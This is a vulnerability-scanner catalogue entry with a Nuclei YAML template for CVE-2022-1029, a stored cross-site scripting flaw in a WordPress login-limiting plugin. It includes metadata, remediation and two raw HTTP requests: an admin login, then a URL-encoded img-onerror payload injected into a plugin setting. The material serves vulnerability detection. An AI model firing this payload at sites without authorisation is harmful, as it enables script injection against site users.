CVE-2022-1029: Limit Login Attempts - Stored Cross-Site Scripting
- Template: CVE-2022-1029
- Name: Limit Login Attempts - Stored Cross-Site Scripting
- Description: Limit Login Attempts WordPress plugin < 4.0.72 contains a stored cross-site scripting caused by unsanitized and unescaped settings, letting malicious administrators inject Javascript code, exploit requires administrator privileges.
- Impact: Attackers with administrator privileges can execute malicious Javascript in the context of the site, potentially stealing cookies or hijacking user sessions.
- Remediation: Update to version 4.0.72 or later.
- Severity: medium
- Authors: theamanrawat
- Tags: cve, cve2022, wordpress, wp, wp-plugin, miniorange-limit-login-attempts, xss, authenticated, vuln
- References: https://nvd.nist.gov/vuln/detail/CVE-2022-1029
- Cves: CVE-2022-1029
- Verified: yes
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-1029.yaml
- Digest: 4a0a00473045022100d09dc5bff090af9b79b7829c87ed682c4e3484219e47b92db0b81d7264a7e61d022065afe3da1710d0e57d9d937ea5a236c9735fd17b1aee486c72d0e2331cf034b4
- Created at: 2025-12-15T00:04:38Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 344
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1029.yaml
- Checked, none or zero: products
- Not known: max requests
Classification
- Cwe: CWE-79
- Cvss score: 4.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00864
- Epss percentile: 0.59541
- Not known: cpe
Metadata
- Max-requests: 2
- Public-www: /wp-content/plugins/miniorange-limit-login-attempts/
- Verified: yes
Labels
- Name: Limit Login Attempts - Stored XSS
- Impact: Attackers with administrator privileges can execute malicious Javascript in the context of the site, potentially stealing cookies or hijacking user sessions.
- Remediation: Update to version 4.0.72 or later.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: admin_privileges
- Requirements: Attacker needs administrator privileges
- Labels source: projectdiscovery
- From cve: CVE-2022-1029
```yaml
id: CVE-2022-1029
info:
name: Limit Login Attempts - Stored Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
Limit Login Attempts WordPress plugin < 4.0.72 contains a stored cross-site scripting caused by unsanitized and unescaped settings, letting malicious administrators inject Javascript code, exploit requires administrator privileges.
impact: |
Attackers with administrator privileges can execute malicious Javascript in the context of the site, potentially stealing cookies or hijacking user sessions.
remediation: |
Update to version 4.0.72 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-1029
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2022-1029
epss-score: 0.00864
epss-percentile: 0.59541
cwe-id: CWE-79
metadata:
verified: true
max-requests: 2
public-www: "/wp-content/plugins/miniorange-limit-login-attempts/"
tags: cve,cve2022,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin.php?page=advancedblocking HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option=mo_wpns_block_referrer&referrer_1=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "referrerblockingtable", "<img src=x onerror=alert(document.domain)>")'
condition: and
digest: 4a0a00473045022100d09dc5bff090af9b79b7829c87ed682c4e3484219e47b92db0b81d7264a7e61d022065afe3da1710d0e57d9d937ea5a236c9735fd17b1aee486c72d0e2331cf034b4:922c64590222798bb761d5b6d8e72950
```